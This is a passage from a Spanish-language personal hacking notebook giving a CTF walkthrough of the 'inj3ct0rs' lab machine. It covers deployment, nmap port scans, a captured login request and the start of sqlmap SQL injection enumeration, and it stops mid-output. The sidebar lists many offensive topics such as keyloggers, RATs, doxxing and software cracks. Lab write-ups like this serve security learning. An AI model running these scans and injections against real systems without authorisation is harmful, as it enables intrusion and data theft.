h4cker_b00k
  • Whoami
  • ARTIUCLOS
    • Tratamiento para la TTY
    • Permisos SUID
    • Honeypot
    • File2ban Privilege Escalation
    • Reversing Shell's (Creación)
    • Pfsense Firewall Configuración GUIA
    • EternalBlue Conf y Explotación
    • BlueKeep Conf y Explotación
    • Pass-The-Hash en Metasploit
    • Keylogger Automatizado
    • Visualizar Webcam en Windows
    • Kernel Conf Exploit
    • RevrseShell Oculta en windows
    • Crear CTF en Docker
    • Crear Dominio y Subdominio en apache2
    • Sticky Keys Hack
    • Bypass Login Linux (GRUB)
    • WOL (Wake On Lan) Conf
    • Shell Persistente PowerShell
    • Remcos (Técnica RAT)
    • Entorno virtual Anaconda/Miniconda Python
    • CVE-2024-10924 (Bypass-MFA-Wordpress)
    • CVE-2024-21413 (Outlook)
    • CVE-2023-32784 (Keepass-password-dump)
    • FTP vsftpd-2.3.4 backdoor
    • Activación de Office Permanente
    • Instalar SPSS (crack)
    • Servidor Node.js en Windows
    • Establecer Banner de entrada Ubuntu Server
    • Configuración de VLANs en Switch (PuTTY)
    • Crear Entorno Vulnerable en Nube Local (Docker)
  • Linux
    • Determinar S.O. (Victima)
  • Windows
    • Comandos Windows S.0.
    • Bypass UAC (Windows)
  • HERRAMIENTAS/TÉCNICAS
    • HackingWeb
      • SQL Injection
      • XSS (Cross Site Scripting)
      • NoSQL Injection
      • XXE Injection
      • Serialización/Deserialización
        • Deserialización Insegura Java (LAB)
        • Deserialización Insegura (PHP, Python y Java)
        • Deserialización Insegura PHP
        • Deserialización Insegura Python
      • Vulnerabilidad Open Redirect
      • XEE (XML External Entity Injection)
      • SSTI (Server-Side Template Injection)
      • Prototype Pollution (Contaminación de prototipos) JavaScript
      • IDOR (Insecure Direct Object Reference)
      • CORS (Cross-Origin Resource Sharing)
        • PortSwigger - CORS vulnerability with basic origin reflection
      • CSRF (Cross-Site Request Forgery)
    • Ingeniería Inversa
      • Radare2
    • Reconocimiento
      • NMAP
      • Dominios/Subdominios
      • Fuzzing
      • Crackmapexec
    • Explotación
      • LFI (Local File Inclusion)
      • Evil-winrm
      • Serealizacion/Deserealizacion
      • Poetry
    • Post-Explotación
      • Port Forwarding
      • A.D. Group Server Operators
      • Decrypt Firefox
    • Criptología
      • Openssl bruteforce script
    • Phishing
      • Phishing - Tools
      • Phishing Técnicas y Resultados
    • BadUSB
      • Digispark/USB Ninja (Función)
      • Digispark (Script)
      • Lista de signos Digispark
      • Bash Bunny
      • ScreenCrab
      • KeyCroc
      • Rubber Ducky
      • USB AutoRun
    • Hacking ActiveDirectory
      • KERBEROASTING Active Directory
      • Active Directory Hacking (Practicas-Teoria)
      • Active Directory Hacking (Auditorias entorno real)
    • DOXEO
      • BoxPiper Pagina Doxeo
      • Epieos Pagina Doxeo
      • Exposed Pagina Doxeo (Correo, numero, etc...)
      • GitHub Para Doxear
      • Hunter Pagina Doxeo
      • IntelligenceX Pagina Doxeo
      • OSINT Industries Pagina Doxeo (Correo, numero, etc...)
      • Phomber GitHub (Doxeo Numero de Teléfono)
      • Temp Mail Pagina Correos Temporales
    • Hacking Wifi
      • Reaver
      • Aircrack-ng (Practica)
    • BOF
      • Introducción
      • ret2win
      • Secuencias de De Bruijn
      • Shellcode
      • NOPs
      • 32-bit vs 64-bit
      • No eXecute (NX)
      • Programación Orientada al Retorno (ROP)
      • Error de Cadena de Formato
      • Stack Canaries
      • Ejecutables Independientes de Posición (PIE)
      • Aleatorización del Espacio de Direcciones (ASLR)
      • Sobrescritura de la Tabla de Desplazamiento Global (GOT)
      • RELRO (Relocation Read-Only)
      • Shellcode Confiable
      • One Gadgets y Malloc Hook
      • Syscalls (Llamadas al Sistema)
      • ret2dlresolve
      • ret2csu
      • Explotación a Través de Sockets
      • Creación de Procesos: fork
      • Stack Pivoting
  • CTF
    • VulnHub
      • Basic_Pentesting_1 VulnHub
      • Basic_Pentesting2 VulbHub
      • Corrosion2 VulnHub
      • BassamCTF VulnHub
      • BORN2ROOT_2 VulnHub
      • CengBox VulnHub
      • Chill_hack VulnHub
      • CK-00 VulnHub
      • Clover_1 VulnHub
      • Cofeeaddicts VulnHub
      • Connect-The-Dots VulnHub
      • djinn_2 VulnHub
      • driftingblues_7 VulnHub
      • doubletrouble VulnHub
      • Dripping_blues VulnHub
      • Durian VulnHub
      • Election VulnHub
      • Empire Lupin One VulnHub
      • EVILBOX_ONE VulnHub
      • Funbox_Lunchbreaker VulnHub
      • Gaara VulnHub
      • Gigachad_vh VulnHub
      • HACK ME PLEASE VulnHub
      • HACKATHONCTF2 VulnHub
      • Hackeable ll VulnHub
      • Hacksudo_Aliens VulnHub
      • Ica1 VulnHub
      • Jangow VulnHub
      • Jetty VulnHub
      • LiterallyVulnerable VulnHub
      • Masashi VulnHub
      • MINU_1 VulnHub
      • Momentum VulnHub
      • MoneyBox VulnHub
      • Monitoring VulnHub
      • Noob VulnHub
      • Odin VulnHub
      • Photographer VulnHub
      • Prime_2 VulnHub
      • PYLINGTON VulnHub
      • RootThis_1 VulnHub
      • Seppuku VulnHub
      • shenron-3 VulnHub
      • Shuriken_1 VulnHub
      • So_simple_1 VulnHub
      • Stapler VulnHub
      • Sumo VulnHub
      • SUNSET_DUSK VulnHub
      • Symfonos_1 VulnHub
      • System_failure VulnHub
      • Thales VulnHub
      • THOTH_TECH_1 VulnHub
      • unknowndevice64 VulnHub
      • Vikings VulnHub
      • ColddBoxEasy_EN VulnHub
      • KB-VULN3 VulnHub
      • Funbox_CTF_4 VulnHub
      • NASEF_1 LOCATING TARGET VulnHub
      • NiveK VulnHub
    • HackTheBox
      • Usage HackTheBox
      • Perfection HackTheBox
      • Headless HackTheBox
      • Editorial HackTheBox
      • Builder HackTheBox
      • BoardLight HackTheBox
      • Bizness HackTheBox
      • Chemistry HackTheBox
      • Titanic HackTheBox
    • TryHackMe
      • RootMe TryHackMe
      • Bounty Hacker TryHackMe
      • Mr Robot CTF TryHackMe
      • Creative TryHackMe
    • Dockerlabs
      • AaguaDeMayo DockerLabs (Easy)
      • Asucar DockerLabs (Intermediate)
      • Bashpariencias DockerLabs (Intermediate)
      • Chocolatefire DockerLabs (Intermediate)
      • Collections DockerLabs (Intermediate)
      • Skullnet Dockerlabs (Difícil)
      • Mirame DockerLabs (Easy)
      • Buscalove DockerLabs (Easy)
      • Hidden DockerLabs (Intermediate)
      • Hackpenguin DockerLabs (Intermediate)
      • Fileception DockerLabs (Intermediate)
      • Domain DockerLabs (Intermediate)
      • ChatMe DockerLabs (Intermediate)
      • Devil DockerLabs (Intermediate)
      • Usersearch DockerLabs (intermediate)
      • Insecure DockerLabs (Hard)
      • Debugme DockerLabs (Hard)
      • Forgotten_portal DockerLabs (Intermediate)
      • Elevator DockerLabs (Easy)
      • Stack DockerLabs (Intermediate)
      • Hedgehog DockerLabs (Very Easy)
      • Report DockerLabs (intermediate)
      • Reverse DockerLabs (intermediate)
      • Reflection DockerLabs (Easy)
      • Spain DockerLabs (Hard)
      • Raas DockerLabs (Hard)
      • Database DockerLabs (Intermediate)
      • DevTools DockerLabs (intermediate)
      • Dockerlabs DockerLabs (Easy)
      • PyRed DockerLabs (Intermediate)
      • SecretJenkins DockerLabs (Easy)
      • Backend DockerLabs (Easy)
      • Eclipse DockerLabs (intermediate)
      • Cachopo DockerLabs (Intermediate)
      • Fooding DockerLabs (Intermediate)
      • Extraviado DockerLabs (Easy)
      • DockHackLab DockerLabs (Intermediate)
      • SummerVibes DockerLabs (Hard)
      • WalkingCMS DockerLabs (Easy)
      • Patriaquerida DockerLabs (Easy)
      • Psycho DockerLabs (Easy)
      • Picadilly DockerLabs (Easy)
      • Anonymouspingu DockerLabs (Easy)
      • Veneno DockerLabs (Intermediate)
      • DoubleTrouble DockerLabs (Hard)
      • FindYouStyle DockerLabs (Easy)
      • Move DockerLabs (Easy)
      • Los 40 Ladrones DockerLabs (Easy)
      • Library DockerLabs (Easy)
      • NorC DockerLabs (Hard)
      • Predictable DockerLabs (Hard)
      • Winterfell DockerLabs (Easy)
      • Pntopntobarra DockerLabs (Easy)
      • ConsoleLog DockerLabs (Easy)
      • Queuemedic DockerLabs (Hard)
      • Stranger DockerLabs (Intermediate)
      • WhereIsMyWebShell DockerLabs (Easy)
      • Insanity DockerLabs (Hard)
      • NodeClimb DockerLabs (Easy)
      • MyBB DockerLabs (Intermediate)
      • Seeker DockerLabs (Intermediate)
      • sjd DockerLabs (Very Easy)
      • Hiddencat DockerLabs (Easy)
      • Verdejo DockerLabs (Easy)
      • ChocolateLovers DockerLabs (Easy)
      • Pinguinazo DockerLabs (Easy)
      • Vendetta DockerLabs (Easy)
      • Pequenas-mentirosas DockerLabs (Easy)
      • Balulero DockerLabs (Easy)
      • Whoiam DockerLabs (Easy)
      • Apolos DockerLabs (Intermediate)
      • Injection DockerLabs (Very Easy)
      • Unrecover DockerLabs (Intermediate)
      • Trust DockerLabs (Very Easy)
      • Firsthacking DockerLabs (Very Easy)
      • BreakMySSH DockerLabs (Very Easy)
      • Borazuwarahctf DockerLabs (Very Easy)
      • Vacaciones DockerLabs (Very Easy)
      • Obsession DockerLabs (Very Easy)
      • Swiss DockerLabs (Intermediate)
      • Internship DockerLabs (Easy)
      • Canario DockerLabs (Hard)
      • ApiRoot DockerLabs (Intermediate)
      • Amor DockerLabs (Easy)
      • Walking Dead DockerLabs (Easy)
      • Master DockerLabs (Intermediate)
      • StrongJenkins DockerLabs (Intermediate)
      • PingPong DockerLabs (Intermediate)
      • Allien DockerLabs (Easy)
      • Paradise DockerLabs (Easy)
      • ApiBase DockerLabs (Easy)
      • Smashing DockerLabs (Hard)
      • Rubiks DockerLabs (Intermediate)
      • Inclusion DockerLabs (Intermediate)
      • Sites DockerLabs (Intermediate)
      • Upload DockerLabs (Easy)
      • ShowTime DockerLabs (Easy)
      • MachuPicchu DockerLabs (Intermediate)
      • ChocoPing DockerLabs (Intermediate)
      • Crystalteam DockerLabs (Intermediate)
      • Balufood DockerLabs (Easy)
      • Bicho DockerLabs (Easy)
      • Gallery DockerLabs (Hard)
      • Ciberguard DockerLabs (Intermediate)
      • Galeria DockerLabs (Easy)
      • TheDog DockerLabs (Intermediate)
    • BugBountyLabs
      • Reflection BugBountyLabs (Principiante)
      • Escape BugBountyLabs (Principiante)
      • DogShow BugBountyLabs (Avanzado)
      • Trr0rlabs BugBountyLabs (Avanzado)
      • XSSaS BugBountyLabs (Experto)
      • Redirection BugBountyLabs (Principiante)
      • HiddenRedirection BugBountyLabs (Principiante)
      • Corsy BugBountyLabs (Avanzado)
      • Forgery BugBountyLabs (Principiante)
      • ConnectX BugBountyLabs (Principiante)
      • NeoMarket BugBountyLabs (Avanzado)
      • Access BugBountyLabs (Principiante)
      • Listing BugBountyLabs (Principiante)
    • TheHackersLabs
      • Quokka (Windows) TheHackersLabs (Principiante)
      • Microchoft (Windows) TheHackersLabs (Principiante)
      • Ensalá Papas (Windows) TheHackersLabs (Principiante)
      • Accounting (Windows) TheHackersLabs (Principiante)
      • Cocido Andaluz (Windows) TheHackersLabs (Principiante)
      • Espeto Malagueño (Windows) TheHackersLabs (Principiante)
    • HackMyVM
      • Liar HackMyVM (Easy - Windows)
      • Zero HackMyVM (Easy - Windows)
      • Simple HackMyVM (Easy - Windows)
      • TriplAdvisor HackMyVM (Easy - Windows)
      • Runas HackMyVM (Easy - Windows)
      • Always HackMyVM (Easy - Windows)
      • DC01 HackMyVM (Easy - Windows)
      • quoted HackMyVM (Easy - Windows)
      • Nessus HackMyVM (Easy - Windows)
      • Jan HackMyVM (Easy - Linux)
      • DC02 HackMyVM (Intermediate - Windows)
      • Qweasd HackMyVM (Intermediate - Linux)
      • Gift HackMyVM (Easy - Linux)
      • Pingme HackMyVM (Intermediate - Linux)
      • Smol HackMyVM (Intermediate - Linux)
      • Noob HackMyVM (Easy- Linux)
      • Pingme HackMyVM (Intermediate - Linux)
      • Hundred HackMyVM (Intermediate - Linux)
      • Driftingblues6 HackMyVM (Easy- Linux)
      • Alzheimer HackMyVM (Easy- Linux)
      • Tron HackMyVM (Easy- Linux)
      • Superhuman HackMyVM (Easy- Linux)
      • Ripper HackMyVM (Easy- Linux)
      • Gigachard HackMyVM (Easy- Linux)
      • Hidden HackMyVM (Easy- Linux)
      • Method HackMyVM (Easy- Linux)
      • Hostname HackMyVM (Easy- Linux)
      • BaseME HackMyVM (Easy- Linux)
      • May HackMyVM (Intermediate - Linux)
      • Driftingblues3 HackMyVM (Easy- Linux)
      • hommie HackMyVM (Easy- Linux)
      • forbidden HackMyVM (Intermediate- Linux)
      • t800 HackMyVM (Easy - Linux)
      • Twisted HackMyVM (Easy- Linux)
      • Connection HackMyVM (Easy - Linux)
      • Flower HackMyVM (Easy- Linux)
      • Helium HackMyVM (Easy- Linux)
      • Suidy HackMyVM (Intermediate - Linux)
      • WebMaster HackMyVM (Easy - Linux)
      • Locker HackMyVM (Easy - Linux)
      • Soul HackMyVM (Hard - Linux)
      • Visions HackMyVM (Easy - Linux)
      • Friendly3 HackMyVM (Easy - Linux)
      • Friendly HackMyVM (Easy - Linux)
      • Friendly2 HackMyVM (Easy - Linux)
      • Comingsoon HackMyVM (Easy - Linux)
      • SuidyRevenge HackMyVM (Hard - Linux)
      • Insomnia HackMyVM (Easy - Linux)
      • Uvalde HackMyVM (Easy - Linux)
      • System HackMyVM (Easy - Linux)
    • CTF's
      • CTF Avengers Easy
      • CTF Ciberhack Intermediate
      • Ghost CTF Hard
      • CTF Cyb3rSh1€ld Intermediate
      • CTF HackMeDaddy Hard
      • CTF inj3ct0rs Intermediate
      • CTF LFI.elf Easy
      • CTF Ctrl-X Easy
      • CTF r00tless Hard
      • CTF 0xc0ffee Intermediate
      • CTF Memesploit Intermediate
      • CTF Jenkhack Easy
      • CTF chmod-4755 Intermediate
      • CTF 404-not-found Easy
      • CTF dance-samba Intermediate
      • CTF VulnVault Intermediate
      • CTF CrackOff Hard
      • CTF PressEnter Easy
      • CTF Mapache2 Intermediate
      • CTF Hackzones Intermediate
      • CTF Darkweb Hard
      • CTF Flow Hard
      • CTF Sender Intermediate
      • CTF Cracker Intermediate
      • CTF Express Intermediate
      • CTF CineHack Intermediate
      • CTF LifeOrDead Hard
      • CTF TpRoot Very Easy
      • CTF Gitea Intermediate
      • CTF SecureLAB Hard
      • CTF Goodness Easy
      • CTF LogisticCloud Intermediate
  • Conceptos de Ciberseguridad en Hacking Ético
    • Contenido...
      • Teoría Hacking Ético
        • Introducción
      • Recopilación Pasiva de información
        • Introducción
        • Hacking con buscadores de internet
        • Pagina Shodan
        • Pagina Censys
        • Registros o BBDD Whois
        • Archive (Análisis de información histórica)
        • TheHarvester
          • TheHarvester Herramienta
          • Bloqueo temporal de dirección IP pública
        • Maltego
          • Instalacion de maltego en kali linux
          • Funcionamiento de Maltego
          • Instalar transformador con API Key
          • Utilizar transformador shodan en maltego
        • Recon-ng Herramienta
      • Recopilación Semi-Pasiva de información
        • Introducción
        • Entorno controlado (LAB)
        • FOCA (Análisis de metadatos)
          • Introducción FOCA
          • Instalar FOCA
          • Funciones de FOCA
        • Herramientas alternativas para Kali de extracción de metadatos
          • Herramienta Metagoofil
          • Herramienta Metashield-analyzer
        • Introducción al protocolo DNS
        • CentralOps y DNSdumpster
          • CentralOps
          • DNSdumpster
        • Sniffers
          • Wireshark
          • TCPdump
      • Recopilación Activa de información
        • Introducción
        • Metasploitable3
          • Entorno vulnerable (Metasploitable3 (Presentación))
          • Instalacion de Metasploitable3
          • Linux Ubuntu-Windows Server 2008 - Metasploitable3
        • DNSRecon Herramienta (Ficheros de zona)
        • Nmap Herramienta
          • Introducción
          • Descubrimiento de hosts (Host Discovery)
          • Escaneo de puertos
          • Descubrimiento de servicios
          • Amap (descubrimiento de servicios)
          • Nmap (identificación del sistema operativo)
          • Nmap (SMB Enumeration)
          • Nmap (SNMP enumeration)
      • Análisis de vulnerabilidades
        • Introducción
        • CVE, CVSS, CPE - Common Vulnerabilities and Exposures
        • Análisis de vulnerabilidades con Nmap
        • Nessus Herramienta (Mas utilizada)
          • Instalación Nessus
          • Nessus (Análisis básico de vulnerabilidades)
          • Nessus (Análisis avanzado de vulnerabilidades)
        • Otras Herramientas
      • Explotación y Hacking de vulnerabilidades en Hosts
        • Explotación de vulnerabilidades
        • Explotacion manual de vulnerabilidades Host
        • Metasploit Herramienta
          • Introducción
          • Metasploit (Explotación básica)
          • Metasploit (explotación avanzada)
          • Metasploit (Creación de payloads personalizados)
          • Metasploit (Importando los resultados de Nessus)
          • Armitage (interfaz grafica de metasploit)
      • Explotación y Hacking de vulnerabilidades Web
        • Instalación de maquina virtual Ubuntu
        • Instalación aplicación Web vulnerable (Mutillidae II)
        • Burp Suite
          • Introducción
          • Spidering y Crawling con Burp Suite y skipfish
          • Inyecciones de codigo y contexto
        • Introducción (SQL Injection)
        • SQLmap Herramienta
          • SQLmap (Blind SQL Injection - Parte 1)
          • SQLmap (Funcionalidad - Parte 2)
        • Path Traversal o Directory Traversal
        • WebShells
        • Unrestricted File Upload
        • HTML Injection y Cross-Site-Scripting (XSS)
        • CSRF (Cross-site request forgery)
        • XSStrike Herramienta
        • Otras técnicas de explotación (Cookie Tampering, command injection...)
          • Command Injection
          • Cookie Tampering
        • Info Extra Burp Suite
      • Explotación y Hacking de vulnerabilidades en Red
        • Man in the middle (MITM)
        • Introducción e instalación de Bettercap
        • ARP Spoofing
        • DNS Spoofing
        • Social Engineering ToolKit (SET)
        • Polymorph Herramienta
          • Manipulación de trafico de red en tiempo real
          • Polymorph (Manipulación de trafico ICMP)
          • Polymorph (Manipulación de trafico MQTT)
          • BONUS (Explotando un fallo de seguridad en Windows 10)
          • DEMO (Explotación avanzada WINREG)
      • Técnicas de Post-Explotación
        • Introducción (Técnica de Post-Explotación)
        • Linux-Windows Meterpreter Post-Explotación
          • Linux (Meterpreter para Post-Explotación)
          • Windows (Meterpreter para Post-Explotación)
          • Elevación de privilegios (UAC Bypass)
          • Volcado de memoria con Mimikatz
        • Procdump y lsass.exe
        • Cracking de contraseñas (John the ripper y Hashcat)
        • Backdoors en binarios
        • Migración de meterpreter a otro proceso
        • Borrado de evidencias
          • Info
          • Linux (Herramientas Borrado de evidencias)
          • Windows (Herramientas Borrado de evidencias)
          • Archivos relevantes para eliminar
            • Rutas Windows Importantes que borrar
            • Rutas Linux Importantes que borrar
      • Machine Learning aplicado a Hacking
        • Introducción
        • Machine Learning aplicado a la Ciberseguridad
        • BATEA (Reconocimiento de hosts con ML)
        • Pesidious (Mutaciones con Deep Learning)
        • Ingeniería Social - Deep fake
  • ciberseguridad avanzada hacking ético
    • Contenido...
      • Entorno de aprendizaje
        • CherryTry
        • Entorno de trabajo (Kali Linux)
      • Recopilación avanzada de información
        • Introducción
        • Preparación del entorno - VulnHub
        • Preparación del entorno - Snort
        • Escaneo Avanzado de Hosts - Parte l
        • Escaneo avanzado de puertos
        • Fragmentación de paquetes con Nmap
        • Escaneo utilizando señuelos con Nmap
        • Spoofing de la identidad del atacante con Nmap
        • Control de velocidad de escaneo con Nmap
        • Escaneo en IPv6 con Nmap
        • Escaneo avanzado de servicios y OS
        • Alternativas a Nmap - Naabu y Netcat
        • Escaneo de puertos ultrarrápido - Masscan
      • Hacking Ético en entornos Active Directory - Parte 1
        • Introducción
        • Instalación y configuración del DC
        • Instalación de máquinas Windows en dominio
        • Características de AD - Usuarios, Grupos y OUs
        • Características de AD - GPOs y recursos compartidos
        • Recopilación de información en Active Directory
        • PowerView
        • Enumeración local de SAM
        • Enumeración remota de SAM
        • Impacket y Rpcclient
        • AD Module
        • Enumeración de NTDS - Parte 1
        • Enumeración de NTDS - Parte 2
        • Ldapsearch, pywerview, jxplorer
        • BloodHound
      • Hacking Ético en entornos Active Directory - Parte 2
        • Descriptores de seguridad y ACLs
        • Vulnerable AD
        • Identificación de ACLs vulnerables
        • Explotación de ACLs vulnerables
        • Explotación DCSync
        • Password Spraying
        • Funcionamiento de Kerberos
        • Kerberos en Active Directory
        • Enumeración de usuarios con Kerberos
        • Fuerza bruta con Kerberos
        • AS-REQ Roasting
        • Instalación Rubeus
        • AS-REP Roasting
        • TGS-REP Roasting (Kerberoasting)
      • Acceso a credenciales y movimientos laterales
        • Autenticación y Autorización en Windows
        • Volcado de Isass y SAM en Windows
        • Volcado de Isass y SAM en Linux
        • Volcado de credenciales de dominio cacheadas (mscash)
        • Pass-The-Hash con Windows
        • Pass-The-Hash con Linux
        • Over Pass-The-Hash - Pass-The-Key
        • Pass-The-Ticket
        • ASK-TGT - TGS
        • Kerberos Golden Ticket y Silver Ticket
        • NTLM Roasting
        • LLMNR - NBTNS Poisoning
        • NTLM - SMB Relay
        • Token impersonation
        • Problemas y errores instalación Covenant
        • Frameworks de postexplotación - Covenant
      • Hacking avanzado de aplicaciones web y Bug Bounty
        • Una palabras sobre Bug Bounty
        • Preparación del entorno vulnerable
        • Identificación de subdominios - Subfinder, Sublist3r y Subbrute
        • Identificación de tecnologías web - WhatWeb y WebAnalyzer
        • Identificación de contenido - Dirbuster
        • Gobuster y Seclists
        • Análisis de vulnerabilidades - OWASP ZAP Proxy
        • Nikto y Skipfish
        • Nuclei y Nuclei Templates
        • Fuzzing básico con ffuf
        • Fuzzing avanzado con ffuf
        • Explotación - Commix
        • Changeme, Gitleaks y CyberChef
      • Detección y evasión de defensas
        • Introducción a la evasión de defensas
        • Load Balancing detector - halberd
        • WAF detector - wafw00f
        • Evasión de WAF
        • Evasión de antivirus con C - Parte 1
        • Evasión de antivirus con C - Parte 2
        • Otras técnicas de evasión con C
        • Evasión de detección en tiempo real
        • Evasión con GreatSCT
        • Evasión con TheFatRat
        • Otras herramientas de evasión - Veil, Shellter, MSFManía...
      • Hacking Ético y Post-explotación avanzada
        • Port Forwarding
        • Port Forwarding con SSH
        • Pivoting
        • Netcat Port-Pivot Relay
        • Local Tunneling - LocalTunnel y Ngrok
        • Transferencia de ficheros
      • Hacking Ético en entornos reales (Amazon AWS)
        • Arquitectura y registro en la nube (AWS)
        • Infraestructura de red en la nube (AWS)
        • Seguridad y Computación en la nube (AWS)
        • Balanceadores y almacenamiento en la nube (AWS)
        • Recopilación de información en un entorno real
        • Controles de seguridad en un entorno real
        • Auditando la infraestructura interna
        • Tipos de auditorias de seguridad
  • PROYECTO DAM
    • Documentación PROYECTO_DAM
Powered by GitBook
On this page
  • Instalación
  • Escaneo de puertos
  • SQL Injection
  • Directorio web
  • zip2jhon
  • unzip
  • SSH
  • Escalate user capa
  • Escalate Privileges
  1. CTF
  2. CTF's

CTF inj3ct0rs Intermediate

PreviousCTF HackMeDaddy HardNextCTF LFI.elf Easy

Last updated 9 months ago

URL Download CTF =

Instalación

Cuando obtenemos el .zip nos lo pasamos al entorno en el que vamos a empezar a hackear la maquina y haremos lo siguiente.

unzip inj3ct0rs.zip

Nos lo descomprimira y despues montamos la maquina de la siguiente forma.

bash auto_mount.sh inj3ct0rss.tar

Info:

___________________¶¶
____________________¶¶__¶_5¶¶
____________5¶5__¶5__¶¶_5¶__¶¶¶5
__________5¶¶¶__¶¶5¶¶¶¶¶5¶¶__5¶¶¶5
_________¶¶¶¶__¶5¶¶¶¶¶¶¶¶¶¶¶__5¶¶¶¶5
_______5¶¶¶¶__¶¶¶¶¶¶¶¶¶¶¶_5¶¶__5¶¶¶¶¶5
______¶¶¶¶¶5_¶¶¶¶¶¶¶¶¶¶¶¶¶5¶¶¶__¶¶¶¶5¶5
_____¶¶¶¶¶¶_¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶_¶¶¶¶¶¶¶5
____¶¶¶¶¶¶¶_¶¶¶5¶¶¶¶5_¶¶¶¶¶5_5¶_¶¶¶¶¶¶¶¶5
___¶¶¶¶¶¶¶¶__5¶¶¶¶¶¶5___5¶¶¶¶__5¶¶¶¶¶¶¶¶¶5
__¶¶¶¶¶¶¶¶¶¶5__5¶¶¶¶¶¶5__5¶¶5_5¶¶¶¶¶¶¶¶¶¶¶
_5¶¶¶¶¶¶¶¶¶¶¶¶_5¶¶¶¶¶¶¶¶¶5__5¶¶¶¶¶¶¶¶¶¶¶¶¶5
_¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶_5¶¶¶¶
5¶¶¶¶¶¶¶¶¶¶¶¶5___5¶¶¶¶¶¶¶5__¶¶¶¶5_¶¶¶5_¶¶¶¶
¶¶¶¶¶¶¶¶_¶¶5_5¶5__¶¶¶¶¶¶¶¶¶5_5¶¶¶_5¶¶¶_5¶¶¶5
¶5¶¶¶¶¶5_¶¶_5¶¶¶¶¶_¶¶¶¶¶¶¶¶¶¶5_5¶¶_5¶¶¶_¶¶¶5
¶¶¶¶_¶¶__¶__¶¶¶¶¶¶5_5¶¶¶¶¶¶¶¶¶¶5_¶¶_5¶¶_5¶¶¶
¶¶¶5_5¶______5¶¶5¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶5_¶¶_5¶5_¶5¶
5¶¶____5¶¶¶¶5_____5¶¶¶¶¶¶¶5_¶¶¶¶¶5_¶__¶¶_5¶¶
_¶¶__5¶¶¶¶¶¶¶¶¶¶5____5¶¶¶¶¶¶_¶¶¶¶¶_____¶5_¶¶
_¶¶___5¶¶¶¶¶¶¶¶¶__________5¶5_¶¶¶¶¶____¶¶_¶¶
_¶¶_______5¶¶¶¶¶¶5____________¶¶¶¶¶_____¶_¶¶
_5¶5________5¶¶_¶¶¶¶5________5¶¶¶¶¶_______¶¶
__¶¶__________¶___¶¶¶¶¶5___5¶¶¶¶¶¶5_______¶5
__¶¶____________5¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶________¶
___¶________________5¶¶¶¶¶¶¶¶5_¶¶
___¶__________5¶¶¶¶¶¶¶¶5¶¶¶5__5¶5
_____________________5¶¶¶5____¶5

                                           
 ##   ##    ##       ####   ###  ##  #######  ######   ####       ##     ######    #####  
 ##   ##   ####     ##  ##   ##  ##   ##   #   ##  ##   ##       ####     ##  ##  ##   ## 
 ##   ##  ##  ##   ##        ## ##    ## #     ##  ##   ##      ##  ##    ##  ##  #       
 #######  ##  ##   ##        ####     ####     #####    ##      ##  ##    #####    #####  
 ##   ##  ######   ##        ## ##    ## #     ## ##    ##   #  ######    ##  ##       ## 
 ##   ##  ##  ##    ##  ##   ##  ##   ##   #   ##  ##   ##  ##  ##  ##    ##  ##  ##   ## 
 ##   ##  ##  ##     ####   ###  ##  #######  #### ##  #######  ##  ##   ######    #####  
                                         

Estamos desplegando la máquina vulnerable, espere un momento.

Máquina desplegada, su dirección IP es --> 172.22.0.2

Presiona Ctrl+C cuando termines con la máquina para eliminarla

Por lo que cuando terminemos de hackearla, le damos a Ctrl+C y nos eliminara la maquina para que no se queden archivos basura.

Escaneo de puertos

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>

Info:

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-15 08:56 EDT
Nmap scan report for 172.22.0.2
Host is up (0.000029s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 fd:f8:90:30:73:b2:51:20:2d:cb:7a:77:67:69:dc:e5 (ECDSA)
|_  256 ad:54:3f:1a:45:7c:b5:97:fb:5b:a8:fb:63:1d:1d:0b (ED25519)
80/tcp open  http    Apache httpd 2.4.58 ((Ubuntu))
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Inj3ct0rs CTF - P\xC3\xA1gina Principal
MAC Address: 02:42:AC:16:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.73 seconds

Por lo que vemos hay una pagina web que si entramos nos encontramos con bastante informacion pero nada importante, hay 2 botones denajo Iniciar sesion y Registrarse ambos funcionan y te puedes craer un usuario para iniciar sesion y entrar, por lo que hay un mysql por detras, probaremos a hacer SQL Injection en el inicio de sesion.

SQL Injection

Primero abriremos BurpSuit para capturar la peticion y crear un request.txt con los datos para sqlmap.

request.txt

POST /content_pages_hidden/db.php HTTP/1.1
Host: 172.22.0.2
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
Origin: http://172.22.0.2
Connection: close
Referer: http://172.22.0.2/login.php
Upgrade-Insecure-Requests: 1


username=admin&password=admin

Una vez teniendo el archivo empezaremos a sacar informacion con sqlmap.

sqlmap -r request.txt --dbs

Info:

        ___
       __H__
 ___ ___[']_____ ___ ___  {1.8.7#stable}
|_ -| . [)]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 09:01:20 /2024-08-15/

[09:01:20] [INFO] parsing HTTP request from 'request.txt'
[09:01:20] [INFO] testing connection to the target URL
got a 302 redirect to 'http://172.22.0.2/content_pages_hidden/fail.php'. Do you want to follow? [Y/n] y
redirect is a result of a POST request. Do you want to resend original POST data to a new location? [Y/n] y
[09:01:22] [INFO] checking if the target is protected by some kind of WAF/IPS
[09:01:22] [INFO] testing if the target URL content is stable
